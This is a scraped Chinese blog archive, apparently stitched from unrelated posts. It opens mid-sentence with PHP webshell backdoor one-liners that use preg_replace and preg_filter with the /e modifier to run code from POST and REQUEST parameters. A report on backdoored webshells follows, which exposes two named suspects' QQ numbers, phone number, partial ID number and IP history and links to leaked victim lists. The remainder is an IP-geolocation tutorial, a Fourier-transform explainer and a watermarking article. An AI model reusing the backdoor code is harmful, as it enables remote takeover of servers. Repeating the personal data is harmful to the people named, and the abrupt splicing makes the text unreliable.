$lcq('', $qwb($tnz("q", "", $fc.$nu.$tu.$mzd))); $htx();} ?> <?php @$EuTsNl="p"."r"."eg_r"."epla"."c"."e"; @$EuTsNl("/[email]/e",$_POST['iiaqffg'],"error"); ?> <?php $ad = '|';$ad .='.';$ad .='*|';$ad .='e'; @preg_filter('|.*|e', $_REQUEST['andyzhengs'], ''); ?>部分我直接复制到文件夹里面了收信地址嫌疑人信息这次事件的特征和九宫格类似,因此我对2013年的事件进行了梳理并且对这个人进行了深入调查,可以确认两个人,一定是其中一个人干的。如果不是大马的问题那么也可以从这两个人中来了解到本次后门事件的内情,唯一的不确定性就是箱子的大马看不出任何问题。因为和他们之前后门数据实在太像了,几乎概括了所有的cms,记录的后台有些也是几年前被入侵过的九宫格箱子里面的,至今还在记录着新的内容嫌疑人一:原来的吐司成员spider,也就是spider大马的创始人,当时他也留过后门,追溯起来都是2011年的事情,经过调查,那时候他所公开出去的shell大马就存在后门,而且也被他本人大量利用做游戏劫持收录挂马,传闻在2012年就赚到了几百万身价,后来就一直低调出了大众的视线,在圈子销声匿迹了。不过现在调查有新的发现,他一直在活跃着,在今年其中登录过历史邮箱,续费过后门的收信域名,因为他没办法换域名,换了就收不了shell。 Id: iamspider iamsunchao 真实姓名:孙x 年龄:29岁(不确定) 就读过:自贡荣县富西初级中学 户籍:成都 西昌人 QQ:80937430(真实QQ) 862262949(小号) 历史IP(可能已经过时了) 222.215.38.109(四川省内江市 电信) 61.157.123.56(四川省凉山州西昌市 电信) 222.215.39.131(四川省内江市 (隆昌县)电信) 222.209.198.201(四川省成都市新都区 四川音乐学院附近蓝天云网吧)嫌疑人二:圈内的大神:toby57,曾经和他还打过交道,说是在给国家做事了,有点不太像是这件事的主谋,但是这个dedebox.com域名所有人就是他,而且他的能力足够干这样的事情 邮箱:toby57@163.com 也是他最常用的im 历史ip 171.212.206.46(四川省成都市 电信) 220.166.52.45(四川省绵阳市 电信) 222.209.139.66(四川省成都市 电信) 220.166.52.45(四川省绵阳市 电信) 125.66.99.211(四川省南充市 电信) 61.157.97.82(四川省绵阳市 西南科技大学) 112.192.70.251(四川省南充市 联通) 125.65.97.134(四川省绵阳市 电信) 61.157.97.85 (四川省绵阳市 西南科技大学) 182.139.60.17(四川省成都市 电信) 手机号:15208341433 姓名:杨xx 身份证号:5116211989050625xx(四川省岳池县) 所在城市:乐山 就读过:四川省绵阳市西南科技大学结论目前其实也没什么结论,从何泄漏的全国的所有大马以及各类cms后台后门还是个谜,因为能力太菜了。。。但是我相信这个谜警方可以解开,你们赋有足够的权利和使命去完成打击。否则对网民的危害太大了,那些webshell被拿去做博彩做诈骗危害就很大了,几乎一个菠菜行业一个诈骗行业的黑帽seo源头都来于此,如果不及时阻止危害还会无限扩大。另外要去看被入侵的站点请到360搜索,娱乐场看最新一天收录https://www.so.com/s?q=%E5%A8%B1%E4%B9%90%E5%9C%BA&src=srp&fr=360sou_newhome&adv_t=d温馨提示:使用过任何大马的帽子注意检查下自己的shell,看看里面的文件时间是否统一为最近的创建时间ps:附件为webshell部分列表,大约几千条随机copy。传送门:https://1drv.ms/u/s!AhMf1bUbIk7UanjRbtWlwOyebhU部分受害域名列表(这个基数是去重复1W多条,未去重复大概20万条,其中的信息量与附件类似,一个站会记录所有的管理员登录账户密码,包括webshell的存在)传送门:https://1drv.ms/t/s!AhMf1bUbIk7Ua72FwZXZuVMX3fw大家在拿到受害列表可以搜索下手里的webshell域名,如果存在那么就注意及时处理掉,以免被不法分子给你造成危害。*原创作者:为了作者安全,已经匿名处理,转载请注明来自FreeBuf(FreeBuf.COM)
2016年11月02日
99 阅读
4 评论
0 点赞
2016-10-29
实用技巧|如何通过IP地址进行精准定位
在甲方工作的朋友可能会遇到这样的问题,服务器或者系统经常被扫描,通过IP地址我们只能查到某一个市级城市,如下图:当我们想具体到街道甚至门牌号,该怎么办???偶然间发现百度地图有高精度IP定位API的接口,通过该接口我们可以通过IP地址定位到具体的地理位置,甚至能精确到门牌号及周围的标志性建筑。该接口的说明地址为:http://lbsyun.baidu.com/index.php?title=webapi/high-acc-ip若想要使用该接口进行查询,必须先申请一个密钥(AK),如下图:申请过程就不进行说明了。API的接口参数说明和返回参数说明也不过多的介绍,大家可以看一看。因为我想返回基础定位结果+地址信息+POI信息,所以我将请求参数extensions的值设置为3。一次完整的http请求为:http://api.map.baidu.com/highacciploc/v1?qcip=183.55.116.90&qterm=pc&ak=“你的 密钥(AK)”&coord=bd09ll&extensions=3 。请求结果如下图:结果为json格式数据:{"content":{"location":{"lat":23.06588,"lng":115.404586},"locid":"925a2a9e3ac5be1cf003afd23c344ab3","radius":30,"confidence":0.5,"address_component":{"country":"中国","province":"广东省","city":"汕尾市","district":"海丰县","street":"新平路","street_number":"","admin_area_code":441521},"formatted_address":"广东省汕尾市海丰县新平路","business":"公平"},"result":{"error":161,"loc_time":"2016-10-19 21:53:28"}}我们需要的字段为:content字段里面的formatted_address。当然我们也可以将location里面的经度和纬度提取出来从而显示在地图上面。有的IP地址会返回pois数据,比如:183.55.116.95。返回参数如下:{"content":{"location":{"lat":23.082367,"lng":115.466276},"locid":"3fb96555906fff3100ff21119142ccd5","radius":30,"confidence":1.0,"address_component":{"country":"中国","province":"广东省","city":"汕尾市","district":"海丰县","street":"S335","street_number":"","admin_area_code":441521},"formatted_address":"广东省汕尾市海丰县S335","pois":[{"name":"双墩村","address":"汕尾市海丰县三三五省道","tag":"行政地标;村庄","location":{"lat":23.082422,"lng":115.465348},"uid":"18010998377147269119"},{"name":"双墩村委会","address":"汕尾市海丰县","tag":"政府机构;各级政府","location":{"lat":23.083394,"lng":115.465914},"uid":"17661602237861855231"},{"name":"长联塘尾","address":"汕尾市海丰县","tag":"行政地标;村庄","location":{"lat":23.081358,"lng":115.467315},"uid":"18010998372852301823"},{"name":"双墩小学","address":"335省道附近","tag":"教育培训;小学","location":{"lat":23.083336,"lng":115.465061},"uid":"17661601958688980991"},{"name":"大溪头","address":"汕尾市海丰县","tag":"行政地标;村庄","location":{"lat":23.090326,"lng":115.465995},"uid":"18010998368557334527"}],"location_description":"双墩村东104米"},"result":{"error":161,"loc_time":"2016-10-19 22:03:31"}}此时我们可以把pois字段也提取出来,值得注意的是pois为数组,我们可以遍历数组数据。通过上面的分析,用python简单的写了一个脚本,具体代码如下:# -*- coding:utf-8 -*- # author:allen权 import sys import urllib2 import json def get_ip_information(ip): url='http://api.map.baidu.com/highacciploc/v1?qcip='+ip+'&qterm=pc&ak='你的密钥(AK)'&coord=bd09ll&extensions=3' poiss='' request = urllib2.Request(url) page = urllib2.urlopen(request, timeout=10) data_json = page.read() data_dic = json.loads(data_json) if(data_dic.has_key("content")): content=data_dic["content"] address_component=content["address_component"] formatted_address=content["formatted_address"] print "该IP地址的具体位置为:" print address_component["country"] print formatted_address if (content.has_key("pois")): print "该IP地址附近POI信息如下:" pois = content["pois"] for index in range(len(pois)): pois_name = pois[index]["name"] pois_address = pois[index]["address"] print pois_name, pois_address else: print 'IP地址定位失败!!!' if __name__ == '__main__': get_ip_information('183.55.116.95')大家把脚本上面的参数ak值改为自己的密钥即可。测试截图如下:再放一张自己IP的测试截图:确实精确到了路名,很准确,虽然没有pois的信息。最后声明一下,成功率:综合定位成功率 65% ,精度:90% 误差 80m 以内;95% 误差 350m。这是官方给出的数据,所说有一定的概率是查询失败的!!!!
2016年10月29日
99 阅读
0 评论
0 点赞
2016-09-30
如果看了此文你还不懂傅里叶变换,那就过来掐死我吧
要让读者在不看任何数学公式的情况下理解傅里叶分析。傅里叶分析不仅仅是一个数学工具,更是一种可以彻底颠覆一个人以前世界观的思维模式。但不幸的是,傅里叶分析的公式看起来太复杂了,所以很多大一新生上来就懵圈并从此对它深恶痛绝。老实说,这么有意思的东西居然成了大学里的杀手课程,不得不归咎于编教材的人实在是太严肃了。(您把教材写得好玩一点会死吗?会死吗?)所以我一直想写一个有意思的文章来解释傅里叶分析,有可能的话高中生都能看懂的那种。所以,不管读到这里的您从事何种工作,我保证您都能看懂,并且一定将体会到通过傅里叶分析看到世界另一个样子时的快感。至于对于已经有一定基础的朋友,也希望不要看到会的地方就急忙往后翻,仔细读一定会有新的发现。————以上是定场诗————下面进入正题:抱歉,还是要啰嗦一句:其实学习本来就不是易事,我写这篇文章的初衷也是希望大家学习起来更加轻松,充满乐趣。但是千万!千万不要把这篇文章收藏起来,或是存下地址,心里想着:以后有时间再看。这样的例子太多了,也许几年后你都没有再打开这个页面。无论如何,耐下心,读下去。这篇文章要比读课本要轻松、开心得多……p.s.本文无论是 cos 还是 sin,都统一用“正弦波”(Sine Wave)一词来代表简谐波。一、什么是频域从我们出生,我们看到的世界都以时间贯穿,股票的走势、人的身高、汽车的轨迹都会随着时间发生改变。这种以时间作为参照来观察动态世界的方法我们称其为时域分析。而我们也想当然的认为,世间万物都在随着时间不停的改变,并且永远不会静止下来。但如果我告诉你,用另一种方法来观察世界的话,你会发现世界是永恒不变的,你会不会觉得我疯了?我没有疯,这个静止的世界就叫做频域。先举一个公式上并非很恰当,但意义上再贴切不过的例子:在你的理解中,一段音乐是什么呢?这是我们对音乐最普遍的理解,一个随着时间变化的震动。但我相信对于乐器小能手们来说,音乐更直观的理解是这样的:好的!下课,同学们再见。是的,其实这一段写到这里已经可以结束了。上图是音乐在时域的样子,而下图则是音乐在频域的样子。所以频域这一概念对大家都从不陌生,只是从来没意识到而已。现在我们可以回过头来重新看看一开始那句痴人说梦般的话:世界是永恒的。将以上两图简化:时域:频域:在时域,我们观察到钢琴的琴弦一会上一会下的摆动,就如同一支股票的走势;而在频域,只有那一个永恒的音符。所以你眼中看似落叶纷飞变化无常的世界,实际只是躺在上帝怀中一份早已谱好的乐章。抱歉,这不是一句鸡汤文,而是黑板上确凿的公式:傅里叶同学告诉我们,任何周期函数,都可以看作是不同振幅,不同相位正弦波的叠加。在第一个例子里我们可以理解为,利用对不同琴键不同力度,不同时间点的敲击,可以组合出任何一首乐曲。而贯穿时域与频域的方法之一,就是传中说的傅里叶分析。傅里叶分析可分为傅里叶级数(Fourier Serie)和傅里叶变换(Fourier Transformation),我们从简单的开始谈起。二、傅里叶级数(Fourier Series)的频谱还是举个栗子并且有图有真相才好理解。如果我说我能用前面说的正弦曲线波叠加出一个带 90 度角的矩形波来,你会相信吗?你不会,就像当年的我一样。但是看看下图:第一幅图是一个郁闷的正弦波 cos(x)第二幅图是 2 个卖萌的正弦波的叠加 cos (x) +a.cos (3x)第三幅图是 4 个发春的正弦波的叠加第四幅图是 10 个便秘的正弦波的叠加随着正弦波数量逐渐的增长,他们最终会叠加成一个标准的矩形,大家从中体会到了什么道理?(只要努力,弯的都能掰直!)随着叠加的递增,所有正弦波中上升的部分逐渐让原本缓慢增加的曲线不断变陡,而所有正弦波中下降的部分又抵消了上升到最高处时继续上升的部分使其变为水平线。一个矩形就这么叠加而成了。但是要多少个正弦波叠加起来才能形成一个标准 90 度角的矩形波呢?不幸的告诉大家,答案是无穷多个。(上帝:我能让你们猜着我?)不仅仅是矩形,你能想到的任何波形都是可以如此方法用正弦波叠加起来的。这是没有接触过傅里叶分析的人在直觉上的第一个难点,但是一旦接受了这样的设定,游戏就开始有意思起来了。还是上图的正弦波累加成矩形波,我们换一个角度来看看:在这几幅图中,最前面黑色的线就是所有正弦波叠加而成的总和,也就是越来越接近矩形波的那个图形。而后面依不同颜色排列而成的正弦波就是组合为矩形波的各个分量。这些正弦波按照频率从低到高从前向后排列开来,而每一个波的振幅都是不同的。一定有细心的读者发现了,每两个正弦波之间都还有一条直线,那并不是分割线,而是振幅为 0 的正弦波!也就是说,为了组成特殊的曲线,有些正弦波成分是不需要的。这里,不同频率的正弦波我们成为频率分量。好了,关键的地方来了!!如果我们把第一个频率最低的频率分量看作“1”,我们就有了构建频域的最基本单元。对于我们最常见的有理数轴,数字“1”就是有理数轴的基本单元。时域的基本单元就是“1 秒”,如果我们将一个角频率为的正弦波 cos(t)看作基础,那么频域的基本单元就是。有了“1”,还要有“0”才能构成世界,那么频域的“0”是什么呢?cos(0t)就是一个周期无限长的正弦波,也就是一条直线!所以在频域,0 频率也被称为直流分量,在傅里叶级数的叠加中,它仅仅影响全部波形相对于数轴整体向上或是向下而不改变波的形状。接下来,让我们回到初中,回忆一下已经死去的八戒,啊不,已经死去的老师是怎么定义正弦波的吧。正弦波就是一个圆周运动在一条直线上的投影。所以频域的基本单元也可以理解为一个始终在旋转的圆想看动图的同学请戳这里:File:Fourier series square wave circles animation.gif以及这里:File:Fourier series sawtooth wave circles animation.gif点出去的朋友不要被 wiki 拐跑了,wiki 写的哪有这里的文章这么没节操是不是。介绍完了频域的基本组成单元,我们就可以看一看一个矩形波,在频域里的另一个模样了:这是什么奇怪的东西?这就是矩形波在频域的样子,是不是完全认不出来了?教科书一般就给到这里然后留给了读者无穷的遐想,以及无穷的吐槽,其实教科书只要补一张图就足够了:频域图像,也就是俗称的频谱,就是——再清楚一点:可以发现,在频谱中,偶数项的振幅都是0,也就对应了图中的彩色直线。振幅为 0 的正弦波。动图请戳:File:Fourier series and transform.gif老实说,在我学傅里叶变换时,维基的这个图还没有出现,那时我就想到了这种表达方法,而且,后面还会加入维基没有表示出来的另一个谱——相位谱。但是在讲相位谱之前,我们先回顾一下刚刚的这个例子究竟意味着什么。记得前面说过的那句“世界是静止的”吗?估计好多人对这句话都已经吐槽半天了。想象一下,世界上每一个看似混乱的表象,实际都是一条时间轴上不规则的曲线,但实际这些曲线都是由这些无穷无尽的正弦波组成。我们看似不规律的事情反而是规律的正弦波在时域上的投影,而正弦波又是一个旋转的圆在直线上的投影。那么你的脑海中会产生一个什么画面呢?我们眼中的世界就像皮影戏的大幕布,幕布的后面有无数的齿轮,大齿轮带动小齿轮,小齿轮再带动更小的。在最外面的小齿轮上有一个小人——那就是我们自己。我们只看到这个小人毫无规律的在幕布前表演,却无法预测他下一步会去哪。而幕布后面的齿轮却永远一直那样不停的旋转,永不停歇。这样说来有些宿命论的感觉。说实话,这种对人生的描绘是我一个朋友在我们都是高中生的时候感叹的,当时想想似懂非懂,直到有一天我学到了傅里叶级数……三、傅里叶级数(Fourier Series)的相位谱上一章的关键词是:从侧面看。这一章的关键词是:从下面看。在这一章最开始,我想先回答很多人的一个问题:傅里叶分析究竟是干什么用的?这段相对比较枯燥,已经知道了的同学可以直接跳到下一个分割线。先说一个最直接的用途。无论听广播还是看电视,我们一定对一个词不陌生——频道。频道频道,就是频率的通道,不同的频道就是将不同的频率作为一个通道来进行信息传输。下面大家尝试一件事:先在纸上画一个 sin(x),不一定标准,意思差不多就行。不是很难吧。好,接下去画一个 sin(3x)+sin(5x)的图形。别说标准不标准了,曲线什么时候上升什么时候下降你都不一定画的对吧?好,画不出来不要紧,我把 sin(3x)+sin(5x)的曲线给你,但是前提是你不知道这个曲线的方程式,现在需要你把 sin(5x)给我从图里拿出去,看看剩下的是什么。这基本是不可能做到的。但是在频域呢?则简单的很,无非就是几条竖线而已。所以很多在时域看似不可能做到的数学操作,在频域相反很容易。这就是需要傅里叶变换的地方。尤其是从某条曲线中去除一些特定的频率成分,这在工程上称为滤波,是信号处理最重要的概念之一,只有在频域才能轻松的做到。再说一个更重要,但是稍微复杂一点的用途——求解微分方程。(这段有点难度,看不懂的可以直接跳过这段)微分方程的重要性不用我过多介绍了。各行各业都用的到。但是求解微分方程却是一件相当麻烦的事情。因为除了要计算加减乘除,还要计算微分积分。而傅里叶变换则可以让微分和积分在频域中变为乘法和除法,大学数学瞬间变小学算术有没有。傅里叶分析当然还有其他更重要的用途,我们随着讲随着提。————————————————————————————————————下面我们继续说相位谱:通过时域到频域的变换,我们得到了一个从侧面看的频谱,但是这个频谱并没有包含时域中全部的信息。因为频谱只代表每一个对应的正弦波的振幅是多少,而没有提到相位。基础的正弦波A.sin (wt+θ)中,振幅,频率,相位缺一不可,不同相位决定了波的位置,所以对于频域分析,仅仅有频谱(振幅谱)是不够的,我们还需要一个相位谱。那么这个相位谱在哪呢?我们看下图,这次为了避免图片太混论,我们用 7 个波叠加的图。鉴于正弦波是周期的,我们需要设定一个用来标记正弦波位置的东西。在图中就是那些小红点。小红点是距离频率轴最近的波峰,而这个波峰所处的位置离频率轴有多远呢?为了看的更清楚,我们将红色的点投影到下平面,投影点我们用粉色点来表示。当然,这些粉色的点只标注了波峰距离频率轴的距离,并不是相位。这里需要纠正一个概念:时间差并不是相位差。如果将全部周期看作 2Pi 或者 360 度的话,相位差则是时间差在一个周期中所占的比例。我们将时间差除周期再乘 2Pi,就得到了相位差。在完整的立体图中,我们将投影得到的时间差依次除以所在频率的周期,就得到了最下面的相位谱。所以,频谱是从侧面看,相位谱是从下面看。下次偷看女生裙底被发现的话,可以告诉她:“对不起,我只是想看看你的相位谱。”注意到,相位谱中的相位除了0,就是 Pi。因为 cos(t+Pi)=-cos(t),所以实际上相位为 Pi 的波只是上下翻转了而已。对于周期方波的傅里叶级数,这样的相位谱已经是很简单的了。另外值得注意的是,由于 cos(t+2Pi)=cos(t),所以相位差是周期的,pi 和 3pi,5pi,7pi 都是相同的相位。人为定义相位谱的值域为(-pi,pi],所以图中的相位差均为 Pi。最后来一张大集合:四、傅里叶变换(Fourier Tranformation相信通过前面三章,大家对频域以及傅里叶级数都有了一个全新的认识。但是文章在一开始关于钢琴琴谱的例子我曾说过,这个栗子是一个公式错误,但是概念典型的例子。所谓的公式错误在哪里呢?傅里叶级数的本质是将一个周期的信号分解成无限多分开的(离散的)正弦波,但是宇宙似乎并不是周期的。曾经在学数字信号处理的时候写过一首打油诗:往昔连续非周期,回忆周期不连续,任你 ZT、DFT,还原不回去。(请无视我渣一样的文学水平……)在这个世界上,有的事情一期一会,永不再来,并且时间始终不曾停息地将那些刻骨铭心的往昔连续的标记在时间点上。但是这些事情往往又成为了我们格外宝贵的回忆,在我们大脑里隔一段时间就会周期性的蹦出来一下,可惜这些回忆都是零散的片段,往往只有最幸福的回忆,而平淡的回忆则逐渐被我们忘却。因为,往昔是一个连续的非周期信号,而回忆是一个周期离散信号。是否有一种数学工具将连续非周期信号变换为周期离散信号呢?抱歉,真没有。比如傅里叶级数,在时域是一个周期且连续的函数,而在频域是一个非周期离散的函数。这句话比较绕嘴,实在看着费事可以干脆回忆第一章的图片。而在我们接下去要讲的傅里叶变换,则是将一个时域非周期的连续信号,转换为一个在频域非周期的连续信号。算了,还是上一张图方便大家理解吧:或者我们也可以换一个角度理解:傅里叶变换实际上是对一个周期无限大的函数进行傅里叶变换。所以说,钢琴谱其实并非一个连续的频谱,而是很多在时间上离散的频率,但是这样的一个贴切的比喻真的是很难找出第二个来了。因此在傅里叶变换在频域上就从离散谱变成了连续谱。那么连续谱是什么样子呢?你见过大海么?为了方便大家对比,我们这次从另一个角度来看频谱,还是傅里叶级数中用到最多的那幅图,我们从频率较高的方向看。以上是离散谱,那么连续谱是什么样子呢?尽情的发挥你的想象,想象这些离散的正弦波离得越来越近,逐渐变得连续……直到变得像波涛起伏的大海:很抱歉,为了能让这些波浪更清晰的看到,我没有选用正确的计算参数,而是选择了一些让图片更美观的参数,不然这图看起来就像屎一样了。不过通过这样两幅图去比较,大家应该可以理解如何从离散谱变成了连续谱的了吧?原来离散谱的叠加,变成了连续谱的累积。所以在计算上也从求和符号变成了积分符号。不过,这个故事还没有讲完,接下去,我保证让你看到一幅比上图更美丽壮观的图片,但是这里需要介绍到一个数学工具才能然故事继续,这个工具就是——五、宇宙耍帅第一公式:欧拉公式虚数i这个概念大家在高中就接触过,但那时我们只知道它是-1 的平方根,可是它真正的意义是什么呢?这里有一条数轴,在数轴上有一个红色的线段,它的长度是1。当它乘以 3 的时候,它的长度发生了变化,变成了蓝色的线段,而当它乘以-1 的时候,就变成了绿色的线段,或者说线段在数轴上围绕原点旋转了 180 度。我们知道乘-1 其实就是乘了两次 i 使线段旋转了 180 度,那么乘一次 i 呢——答案很简单——旋转了 90 度。同时,我们获得了一个垂直的虚数轴。实数轴与虚数轴共同构成了一个复数的平面,也称复平面。这样我们就了解到,乘虚数i的一个功能——旋转。现在,就有请宇宙第一耍帅公式欧拉公式隆重登场——这个公式在数学领域的意义要远大于傅里叶分析,但是乘它为宇宙第一耍帅公式是因为它的特殊形式——当x等于 Pi 的时候。经常有理工科的学生为了跟妹子表现自己的学术功底,用这个公式来给妹子解释数学之美:”石榴姐你看,这个公式里既有自然底数e,自然数 1 和0,虚数i还有圆周率 pi,它是这么简洁,这么美丽啊!“但是姑娘们心里往往只有一句话:”臭屌丝……“这个公式关键的作用,是将正弦波统一成了简单的指数形式。我们来看看图像上的涵义:欧拉公式所描绘的,是一个随着时间变化,在复平面上做圆周运动的点,随着时间的改变,在时间轴上就成了一条螺旋线。如果只看它的实数部分,也就是螺旋线在左侧的投影,就是一个最基础的余弦函数。而右侧的投影则是一个正弦函数。关于复数更深的理解,大家可以参考:复数的物理意义是什么?这里不需要讲的太复杂,足够让大家理解后面的内容就可以了。六、指数形式的傅里叶变换有了欧拉公式的帮助,我们便知道:正弦波的叠加,也可以理解为螺旋线的叠加在实数空间的投影。而螺旋线的叠加如果用一个形象的栗子来理解是什么呢?光波高中时我们就学过,自然光是由不同颜色的光叠加而成的,而最著名的实验就是牛顿师傅的三棱镜实验:所以其实我们在很早就接触到了光的频谱,只是并没有了解频谱更重要的意义。但不同的是,傅里叶变换出来的频谱不仅仅是可见光这样频率范围有限的叠加,而是频率从 0 到无穷所有频率的组合。这里,我们可以用两种方法来理解正弦波:第一种前面已经讲过了,就是螺旋线在实轴的投影。另一种需要借助欧拉公式的另一种形式去理解:将以上两式相加再除2,得到:这个式子可以怎么理解呢?我们刚才讲过,e^(it)可以理解为一条逆时针旋转的螺旋线,那么e^(-it)则可以理解为一条顺时针旋转的螺旋线。而 cos (t)则是这两条旋转方向不同的螺旋线叠加的一半,因为这两条螺旋线的虚数部分相互抵消掉了!举个例子的话,就是极化方向不同的两束光波,磁场抵消,电场加倍。这里,逆时针旋转的我们称为正频率,而顺时针旋转的我们称为负频率(注意不是复频率)。好了,刚才我们已经看到了大海——连续的傅里叶变换频谱,现在想一想,连续的螺旋线会是什么样子:想象一下再往下翻:是不是很漂亮?你猜猜,这个图形在时域是什么样子?哈哈,是不是觉得被狠狠扇了一个耳光。数学就是这么一个把简单的问题搞得很复杂的东西。顺便说一句,那个像大海螺一样的图,为了方便观看,我仅仅展示了其中正频率的部分,负频率的部分没有显示出来。如果你认真去看,海螺图上的每一条螺旋线都是可以清楚的看到的,每一条螺旋线都有着不同的振幅(旋转半径),频率(旋转周期)以及相位。而将所有螺旋线连成平面,就是这幅海螺图了。好了,讲到这里,相信大家对傅里叶变换以及傅里叶级数都有了一个形象的理解了,我们最后用一张图来总结一下:好了,傅里叶的故事终于讲完了,下面来讲讲我的故事:这篇文章第一次被卸下来的地方你们绝对猜不到在哪,是在一张高数考试的卷子上。当时为了刷分,我重修了高数(上),但是后来时间紧压根没复习,所以我就抱着裸考的心态去了考场。但是到了考场我突然意识到,无论如何我都不会比上次考的更好了,所以干脆写一些自己对于数学的想法吧。于是用了一个小时左右的时间在试卷上洋洋洒洒写了本文的第一草稿。你们猜我的了多少分?6 分没错,就是这个数字。而这 6 分的成绩是因为最后我实在无聊,把选择题全部填上了C,应该是中了两道,得到了这宝贵的 6 分。说真的,我很希望那张卷子还在,但是应该不太可能了。那么你们猜猜我第一次信号与系统考了多少分呢?45 分没错,刚刚够参加补考的。但是我心一横没去考,决定重修。因为那个学期在忙其他事情,学习真的就抛在脑后了。但是我知道这是一门很重要的课,无论如何我要吃透它。说真的,信号与系统这门课几乎是大部分工科课程的基础,尤其是通信专业。在重修的过程中,我仔细分析了每一个公式,试图给这个公式以一个直观的理解。虽然我知道对于研究数学的人来说,这样的学习方法完全没有前途可言,因为随着概念愈加抽象,维度越来越高,这种图像或者模型理解法将完全丧失作用。但是对于一个工科生来说,足够了。后来来了德国,这边学校要求我重修信号与系统时,我彻底无语了。但是没办法,德国人有时对中国人就是有种藐视,觉得你的教育不靠谱。所以没办法,再来一遍吧。这次,我考了满分,而及格率只有一半。老实说,数学工具对于工科生和对于理科生来说,意义是完全不同的。工科生只要理解了,会用,会查,就足够了。但是很多高校却将这些重要的数学课程教给数学系的老师去教。这样就出现一个问题,数学老师讲得天花乱坠,又是推理又是证明,但是学生心里就只有一句话:学这货到底干嘛用的?缺少了目标的教育是彻底的失败。在开始学习一门数学工具的时候,学生完全不知道这个工具的作用,现实涵义。而教材上有只有晦涩难懂,定语就二十几个字的概念以及看了就眼晕的公式。能学出兴趣来就怪了!好在我很幸运,遇到了大连海事大学的吴楠老师。他的课全程来看是两条线索,一条从上而下,一条从下而上。先将本门课程的意义,然后指出这门课程中会遇到哪样的问题,让学生知道自己学习的某种知识在现实中扮演的角色。然后再从基础讲起,梳理知识树,直到延伸到另一条线索中提出的问题,完美的衔接在一起!这样的教学模式,我想才是大学里应该出现的。最后,写给所有给我点赞并留言的同学。真的谢谢大家的支持,也很抱歉不能一一回复。因为知乎专栏的留言要逐次加载,为了看到最后一条要点很多次加载。当然我都坚持看完了,只是没办法一一回复。本文只是介绍了一种对傅里叶分析新颖的理解方法,对于求学,还是要踏踏实实弄清楚公式和概念,学习,真的没有捷径。但至少通过本文,我希望可以让这条漫长的路变得有意思一些。最后,祝大家都能在学习中找到乐趣。作 者:韩 昊 知 乎:Heinrich 微 博:@花生油工人 知乎专栏:与时间无关的故事
2016年09月30日
66 阅读
9 评论
0 点赞
2016-09-23
阿里巴巴公司根据截图查到泄露信息的具体员工的技术是什么?
阿里巴巴公司根据截图查到泄露信息的具体员工的技术是什么? 在月饼事件中的新闻中提到。阿里对员工访问的界面做了一定的处理。貌似这不是简单的水印。这种处理是什么,是怎么做到的呢? 作者:fuqiang liu 本文通过一个的实验,简要介绍频域手段添加数字盲水印的方法,并进一步验证其抗攻击性。在上述实验的基础上,总结躲避数字盲水印的方法。(多图预警) 本文分为五个部分,第一部分综述;第二部分频域数字盲水印制作原理介绍;第三部分盲水印攻击性实验;第四部分总结;第五部分附录(源代码)。 ## 一、综述 本文提供的一种实现“阿里通过肉眼无法识别的标识码追踪员工”的技术手段。通过看其他答主的分析,阿里可能还没用到频域加水印的技术。 相对于空域方法,频域加盲水印的方法隐匿性更强,抵抗攻击能力更强。这类算法解水印困难,你不知道水印加在那个频段,而且受到攻击往往会破坏图像原本内容。本文简要科普通过频域手段添加数字盲水印。对于web,可以添加一个背景图片,来追踪截图者。 所谓盲水印,是指人感知不到的水印,包括看不到或听不见(没错,数字盲水印也能够用于音频)。其主要应用于音像作品、数字图书等,目的是,在不破坏原始作品的情况下,实现版权的防护与追踪。 添加数字盲水印的方法简单可分为空域方法和频域方法,这两种方法添加了冗余信息,但在编码和压缩情况不变的情况下,不会使原始图像大小产生变化(原来是10MB添加盲水印之后还是10MB)。 空域是指空间域,我们日常所见的图像就是空域。空域添加数字水印的方法是在空间域直接对图像操作(之所以说的这么绕,是因为不仅仅原图是空域,原图的差分等等也是空域),比如将水印直接叠加在图像上。 我们常说一个音有多高,这个音高是指频率;同样,图像灰度变化强烈的情况,也可以视为图像的频率。频域添加数字水印的方法,是指通过某种变换手段(傅里叶变换,离散余弦变换,小波变换等)将图像变换到频域(小波域),在频域对图像添加水印,再通过逆变换,将图像转换为空间域。相对于空域手段,频域手段隐匿性更强,抗攻击性更高。 所谓对水印的攻击,是指破坏水印,包括涂抹,剪切,放缩,旋转,压缩,加噪,滤波等。数字盲水印不仅仅要敏捷性高(不被人抓到),也要防御性强(抗打)。就像Dota的敏捷英雄往往是脆皮,数字盲水印的隐匿性和鲁棒性是互斥的。(鲁棒性是抗攻击性的学术名字) ## 二、频域制作数字盲水印的方法 信号是有频率的,一个信号可以看做是无数个不同阶的正弦信号的的叠加。 上式为傅里叶变换公式,是指时域信号(对于信号我们说时域,因为是与时间有关的,而图像我们往往说空域,与空间有关),是指频率。想要对傅里叶变换有深入了解的同学,建议看一下《信号与系统》或者《数字信号处理》的教材,里面系统介绍了傅里叶变换、快速傅里叶变换、拉普拉斯变换、z变换等。 简而言之,我们有方法将时域信号转换成为频域,同样,我们也能将二维信号(图像)转换为频域。在上文中提到,图像的频率是指图像灰度变换的强烈情况。关于此方面更系统的知识,参见冈萨雷斯的《图像处理》。 下面以傅里叶变换为例,介绍通过频域给图像添加数字盲水印的方法。注意,因为图像是离散信号,我们实际用的是离散傅里叶变换,在本文采用的都是二维快速傅里叶变换,快速傅里叶变换与离散时间傅里叶变换等价,通过蝶型归并的手段,速度更快。下文中傅里叶变换均为二维快速傅里叶变换。 上图为叠加数字盲水印的基本流程。编码的目的有二,一是对水印加密,二控制水印能量的分布。以下是叠加数字盲水印的实验。 这是原图像,尺寸300*240 (不要问我为什么不用Lena,那是我前女友), &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/b3a4081fc7b9bbb79ffb000ecedc88e0_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 之后进行傅里叶变换,下图变换后的频域图像, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/8744d653930d09b603ec571422ceb8ea_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 这是我想加的水印,尺寸200*100, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/63030836c8e16a6347a83069f5c995fc_b.jpg" data-rawwidth="200" data-rawheight="100" class="content_image" width="200"&amp;amp;amp;gt; 这是我编码后的水印,编码方式采用随机序列编码,通过编码,水印分布到随机分布到各个频率,并且对水印进行了加密, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/9762930aae4390a0ebb87198efa64332_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 